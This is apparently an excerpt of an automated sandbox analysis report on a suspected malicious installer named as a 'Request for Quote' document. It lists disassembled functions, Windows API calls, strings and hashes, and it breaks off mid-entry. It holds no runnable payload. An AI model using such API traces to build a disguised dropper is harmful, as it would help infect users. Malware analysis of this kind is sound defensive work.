Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f46ea380f0a8a29621ee4be7ff5b3f87fcf60a2128ebd97155f86a8f86baacf
Instruction ID: bd03e39f1956cdd7e6d33e18fe96429befb817d49440859cc7cbe2c5c59d0c0f
Opcode Fuzzy Hash: 9f46ea380f0a8a29621ee4be7ff5b3f87fcf60a2128ebd97155f86a8f86baacf
Instruction Fuzzy Hash: 9A019674E0121A9FDF44DFB9C9416AEBBF5AF48201F10857AD519E7250EB3859018F91

Function 3A62E6A0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c228d6a915937feadf1a7007e1849062f9dac67f2e48975b24805cdc08b25e72
Instruction ID: fd8b3d22653c54236987a6c854fbc2ba14fa76d0b65b88934a5c298bda0a5baf
Opcode Fuzzy Hash: c228d6a915937feadf1a7007e1849062f9dac67f2e48975b24805cdc08b25e72
Instruction Fuzzy Hash: 3CF012353406148FE7089B7ADD54D2A77AAEFC87517054479F505CB7A1DE71DC01CB90

Function 398A4990 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05927d3c743c5715b9b1fac51e8856874c58447f5d5ae397f097ad5d42032d10
Instruction ID: 8951bf0f6af637d6f0fc9d26ab67ca0762d17576755f85606c7f5a2c8afca4f9
Opcode Fuzzy Hash: 05927d3c743c5715b9b1fac51e8856874c58447f5d5ae397f097ad5d42032d10
Instruction Fuzzy Hash: 63F05E35301205DFC700CF6AC484C5ABBEAFF887217558169EA0987331CB71AC56CB80

Function 001628B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2b3ceca311de150a2ac837b7d3c2b274ca9e53eaaaa1fa8b67437270fb357b6
Instruction ID: 73aaf64c7bb5018b7e65ebf16bc7ffe48f22b4e9635f271f6c0d446ca8962ddd
Opcode Fuzzy Hash: e2b3ceca311de150a2ac837b7d3c2b274ca9e53eaaaa1fa8b67437270fb357b6
Instruction Fuzzy Hash: 57D02B31D2022B53CB00E7A1FC004DFF738EEC1220B404222E91033000FB302658C6F0

Function 001628AB Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 333df433bfab9a2ec4ccde747deeda713135f63f5d7fba435224e7a3ae679836
Instruction ID: df5012017a3588cc684893baab3e9d0791703a018fd8917f5667bb6c3c30dde5
Opcode Fuzzy Hash: 333df433bfab9a2ec4ccde747deeda713135f63f5d7fba435224e7a3ae679836
Instruction Fuzzy Hash: BAD01235D6162B968B01EBA1BC100DDB334AE95221B548656D93436150EB30165D8AA0

Function 398A4A40 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41016c94e92023b99de4b71492930a26ad58d4cad86068c6fcef8064ab4f92af
Instruction ID: 63c90e2257b674dad68e45633d75b2650c850da753bac75732a3e57aceed2deb
Opcode Fuzzy Hash: 41016c94e92023b99de4b71492930a26ad58d4cad86068c6fcef8064ab4f92af
Instruction Fuzzy Hash: 04D0A7363051146B4B451A499405CAE7B5ED7C9731300C026F90983301CE754D2297D0

Function 0016D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7450efa11a4fa1898a9af603e8a312d1b0e2dd2d256f80e4c86d61189142304e
Instruction ID: 1a2eb1b3d0a0373f201cc0c61ee7375c7c577a8eaae44bab6efa4acf15bb2d57
Opcode Fuzzy Hash: 7450efa11a4fa1898a9af603e8a312d1b0e2dd2d256f80e4c86d61189142304e
Instruction Fuzzy Hash: 54D04235E04109CBCB24DFA8E9844DCBB71EF89321B60506BD925A3651D77059558F11

Function 0016AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d377851ed227d7a2643f9c3ec1039491f4ef7a4c5a2e3f37172b77257f1bc4c5
Instruction ID: 3797d7855bd68b63d6932e1d5aca618456e3071aa0f7eac27557b26b7555cd84
Opcode Fuzzy Hash: d377851ed227d7a2643f9c3ec1039491f4ef7a4c5a2e3f37172b77257f1bc4c5
Instruction Fuzzy Hash: 2BD0673AB00108AFCB049F98EC809DDF7B6FB98221B048126F915A3260C7319965DB50

Function 00166748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c68ed74fbefbcf36dd301f9f217d2c4af7cad3d93a43ca78b4ecd2b24771d40b
Instruction ID: dd882e87b7ef190eb05030d08a41b08b4cc2facaa4e9e31d3a04779a5170fc94
Opcode Fuzzy Hash: c68ed74fbefbcf36dd301f9f217d2c4af7cad3d93a43ca78b4ecd2b24771d40b
Instruction Fuzzy Hash: 34C080300053098BD50DF7B9DC465557BAEE7C0301B80B518B1051656EDFF8194A5B94

Non-executed Functions

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

N, xrefs: 00404D9B
M, xrefs: 00404CBA
, xrefs: 004050C9

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 0040335A Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 335stringfilecomCOMMON

Download Yara Rule

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNEL32(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,00434000,00000000), ref: 004033DB
CharNextW.USER32(00000000,00434000,00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,00436800,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(00436800,000003FB), ref: 0040351C
lstrcatW.KERNEL32(00436800,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,00436800,00436800,\Temp), ref: 0040353C
lstrcatW.KERNEL32(00436800,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,00436800,00436800,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,00436800), ref: 0040355D
DeleteFileW.KERNEL32(00436000), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(00436800,~nsu.tmp,00434000,00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(00436800,00435800,00436800,~nsu.tmp,00434000,00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(00436800,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(00436800), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(00437800,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

NSIS Error, xrefs: 004033B9
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
\Temp, xrefs: 00403522
Error launching installer, xrefs: 004035D8
TMP, xrefs: 00403558
TEMP, xrefs: 00403550
Low, xrefs: 0040353E
SeShutdownPrivilege, xrefs: 0040376F
~nsu.tmp, xrefs: 00403647

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1875889550
Opcode ID: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

Function 00405772 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00436800,76232EE0,00434000), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,00436800,76232EE0,00434000), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,00436800,76232EE0,00434000), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,00436800,76232EE0,00434000), ref: 0040580C
FindFirstFileW.KERNEL32(004246D8,?,?,?,00409014,?,004246D8,?,?,00436800,76232EE0,00434000), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

\*.*, xrefs: 004057DD

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00436800,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,00436800,?,76232EE0,00405792,?,00436800,76232EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 3A604478 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

|4f74f7, xrefs: 3A604507

Memory Dump Source

Source File: 00000004.00000002.4007734774.000000003A600000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a600000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: |4f74f7
API String ID: 0-898050793
Opcode ID: 4727f7ab58b9b023d0de575b17a48afeb0c290e2d8d6ace74c8ed79c6ca7fb71
Instruction ID: cb7b5039b755cd23776ef51d10990a044d7da977f9916ceb3918d5d133c23be9
Opcode Fuzzy Hash: 4727f7ab58b9b023d0de575b17a48afeb0c290e2d8d6ace74c8ed79c6ca7fb71
Instruction Fuzzy Hash: 6CD1AE78E01218CFEB55CFA9C994B9DBBB2BF89300F1090A9D409AB355DB759D82CF11

Function 0016F2C0 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

9, xrefs: 0016F2C4

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: f97399636db09893c554344b57148b08a1a52690f15c6422956946cad633d2c4
Instruction ID: 260e35200201f5faa6fc1735e974988da6ac229aa1b34a9c21f82fc8fe81e6b6
Opcode Fuzzy Hash: f97399636db09893c554344b57148b08a1a52690f15c6422956946cad633d2c4
Instruction Fuzzy Hash: 39513770D01218CBDB04DFA9D9587EEBBB2FF99300F249129E404BB294DB759996CF50

Function 398A0040 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3401154494f5937dac7b170ac8d6e403d684407edb975a5dd962abb1c7ac5f35
Instruction ID: 93309e0ccd3500b210f295c73f812649383aa5869978902a122462c478493f1e
Opcode Fuzzy Hash: 3401154494f5937dac7b170ac8d6e403d684407edb975a5dd962abb1c7ac5f35
Instruction Fuzzy Hash: 95527B74E01268CFDB65DFA5C884BDDBBB2BB89301F1081E9E409A7255DB35AE81CF50

Function 3A630040 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f96f9ee7ea3d7b7e221010f40ecda0e142f81b71702a16fff48a2f4705df6ec
Instruction ID: 7293310cf955f19df3d70213e231a38c6daefdcdebe126475067c28f143b5f48
Opcode Fuzzy Hash: 1f96f9ee7ea3d7b7e221010f40ecda0e142f81b71702a16fff48a2f4705df6ec
Instruction Fuzzy Hash: B3D1A174E01218CFDB54DFA9C984B9DBBB2BF89300F1091A9D409AB395DB359E86CF50

Function 3A631828 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48691664a07647677e7e5a5195c88a9ae0aaa080992b30c62122d977fee0df9c
Instruction ID: c55cf67b52654088be03d14df1d26efcbad430ea8aaef048a3b6df2054ea83e4
Opcode Fuzzy Hash: 48691664a07647677e7e5a5195c88a9ae0aaa080992b30c62122d977fee0df9c
Instruction Fuzzy Hash: 2AD1A174E01218CFDB54DFA9C994B9DBBB2BF89300F1091A9D409AB395DB359E82CF50

Function 3A630E98 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ffee6e9fe116656443095d2cde190a5dcab8efc81ee43e75824ac8853372ea1
Instruction ID: 4acd4c72229cd5859e9ea13be25f64bf908cdb28466704f81d462ec4b741efd0
Opcode Fuzzy Hash: 2ffee6e9fe116656443095d2cde190a5dcab8efc81ee43e75824ac8853372ea1
Instruction Fuzzy Hash: 96D1A174E01218CFEB54DFA9C994B9DBBB2BF89300F1091A9D409AB355DB359E82CF50

Function 3A631360 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab6f71d217968e4ddff3eddb3246e79bd6830a08309cf3551e41feff0ba90059
Instruction ID: 76749125fcd144578ce7cfb37a059bd92d5c5b4fbca4384ba4011e659b5d58e1
Opcode Fuzzy Hash: ab6f71d217968e4ddff3eddb3246e79bd6830a08309cf3551e41feff0ba90059
Instruction Fuzzy Hash: 5AD1A174E01218CFDB54DFA9C984B9DBBB2BF89300F1091A9D419AB395DB359E82CF50

Function 3A630508 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02c3ca26a06511143c49181d975efb529579bbc6021d4079e6cc26fbe194dfe0
Instruction ID: a9dc92517c692529559f4871dc8b9813853322c7024c63309c6f0ab82d215137
Opcode Fuzzy Hash: 02c3ca26a06511143c49181d975efb529579bbc6021d4079e6cc26fbe194dfe0
Instruction Fuzzy Hash: 74D1B174E01218CFDB54DFA9C984B9DBBB2BF89300F2091A9D409AB355DB359E86CF50

Function 3A6309D0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007803121.000000003A630000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a630000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f29ec271d0ec5772b8d0cc461d78b62bd3736b4a286b9097db7dedd73ed23c13
Instruction ID: 7812adf47e558cd015bedde333b647f5cce37ec260d1b78852e48e1b0a43e683
Opcode Fuzzy Hash: f29ec271d0ec5772b8d0cc461d78b62bd3736b4a286b9097db7dedd73ed23c13
Instruction Fuzzy Hash: B7D1A174E01218CFDB54DFA9C984B9DBBB2BF89300F1091A9D409AB365DB359E86CF50

Function 3A607E60 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007734774.000000003A600000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a600000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04ea43a609693018a2bea2830a6a3bb2260a467a07bd7d467a215167e7199350
Instruction ID: c663603fb224a7ebd026ddc0e93e4e4e57c7bd5fc250df47b9d7d1434a0a8512
Opcode Fuzzy Hash: 04ea43a609693018a2bea2830a6a3bb2260a467a07bd7d467a215167e7199350
Instruction Fuzzy Hash: 50D1AF74E01218CFEB54DFA9C994B9DBBB2BF89300F2091A9D409AB355DB359E81CF50

Function 3A60A968 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007734774.000000003A600000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a600000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fd9d429123974b4dc30f66dec65ce22954382a4df5ad352291f2eec90e2ca2d
Instruction ID: c8962cea2364b3a25708cb47a3797d05548d1d9f44a3f3e931e4b9ff222de38b
Opcode Fuzzy Hash: 0fd9d429123974b4dc30f66dec65ce22954382a4df5ad352291f2eec90e2ca2d
